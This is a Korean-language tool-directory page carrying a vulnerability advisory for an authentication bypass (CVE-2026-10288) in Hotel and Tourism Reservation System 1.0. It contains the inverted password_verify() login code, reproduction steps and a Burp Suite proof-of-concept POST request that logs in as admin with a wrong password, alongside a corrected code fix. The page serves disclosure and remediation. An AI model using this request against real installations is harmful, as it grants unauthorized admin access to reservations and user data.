Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-10288-AUTH-BYPASS | Kitploit
도구/GitHubGitHub/xmyronn/cve-2026-10288-auth-bypass
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingAuthentication
GitHubxmyronn/cve-2026-10288-auth-bypass

CVE-2026-10288-AUTH-BYPASS

저장소 보기
2개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Hotel and Tourism Reservation System - 인증 우회

취약점 세부 정보

필드세부 정보
제목Hotel and Tourism Reservation System - 인증 우회
공급업체code-projects.org
제품Hotel and Tourism Reservation System
버전1.0
취약점 유형부적절한 인증 (Improper Authentication)
CWECWE-287
CVSS 점수9.0 (치명적)
CVSS 벡터CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
영향을 받는 파일/admin/login.php
인증 필요 여부아니요
원격 공격 가능 여부예

설명

Hotel and Tourism Reservation System 1.0의 관리자 로그인 기능에는 치명적인 인증 우회 취약점이 존재합니다. 이 취약점은 password_verify()의 반환 값에 대한 조건 검사가 반대로 작성되어, 잘못된 비밀번호를 입력하면 접근 권한을 부여하고 올바른 비밀번호를 입력하면 접근을 거부하게 됩니다. 인증되지 않은 원격 공격자는 유효한 이메일 주소와 임의의 잘못된 비밀번호만 제공하면 전체 관리자 액세스 권한을 획득할 수 있습니다.


근본 원인

파일: admin/login.php — 39–46행

root@kitploit:~
if(password_verify($password, $user['password'])){
    // BUG: password_verify() returns TRUE when password is CORRECT
    // but the error message is placed here instead of login logic
    echo '<div class="w3-text-red text-center">The password you entered was incorrect, please try again.</div>';
} else {
    // BUG: this block executes when password is WRONG
    // but login is granted here instead of showing an error
    $userID = $user['id'];
    login($userID);
}

password_verify()는 제공된 비밀번호가 해시와 일치하면 true를 반환합니다. 개발자는 성공 로직을 else 분기(함수가 false를 반환할 때 실행되는 분기)에 배치했으므로, 잘못된 비밀번호에 대해 인증이 허용됩니다.


영향

원격의 인증되지 않은 공격자는 다음을 수행할 수 있습니다:

  • 애플리케이션에 대한 전체 관리자 액세스 권한 획득
  • 모든 객실 및 투어 예약 조회, 수정, 삭제
  • 객실, 투어, 이벤트 추가, 편집 또는 삭제
  • 모든 등록 사용자 데이터에 접근
  • 관리자 비밀번호 없이 모든 관리자 작업 수행

재현 단계

설정: XAMPP에 Hotel and Tourism Reservation System 1.0을 설치합니다. http://localhost/ht/에서 앱에 접속합니다.

1단계: 관리자 로그인 페이지로 이동합니다.

http:///ht/admin/login.php

2단계: 유효한 관리자 이메일과 아무 잘못된 비밀번호를 입력합니다.

이메일: [email protected] 비밀번호: wrongpassword

3단계: 로그인을 클릭합니다.

결과: 애플리케이션이 인증을 우회하고 관리자 대시보드(index.php)로 리디렉션합니다. 즉, 잘못된 비밀번호로 전체 관리자 액세스 권한이 부여됩니다.


개념 증명 (Burp Suite)

요청:

root@kitploit:~
POST /ht/admin/login.php HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded

email=admin%40admin.com&password=test1234&login=Login

응답:

root@kitploit:~
HTTP/1.1 302 Found
Location: index.php

index.php로의 302 리디렉션은 잘못된 비밀번호로 인증이 성공했음을 확인합니다.


스크린샷

1. 로그인 페이지 — 잘못된 비밀번호 입력

Screenshot 2026-05-11 232154

2. Burp Suite — 302 리디렉션으로 우회 확인

Screenshot 2026-05-11 232205

3. 소스 코드 — 반전된 로직

Screenshot 2026-05-11 232228

권장 수정 사항

password_verify()가 true를 반환할 때 로그인이 허용되도록 조건 분기를 바꾸십시오:

root@kitploit:~
// FIXED
if(password_verify($password, $user['password'])){
    $userID = $user['id'];
    login($userID);
} else {
    echo '<div class="w3-text-red text-center">The password you entered was incorrect, please try again.</div>';
}

참고 자료

  • CWE-287: 부적절한 인증
  • Hotel and Tourism Reservation System — code-projects.org

발견자

Imad Alvi — 독립 보안 연구원

도구 다운로드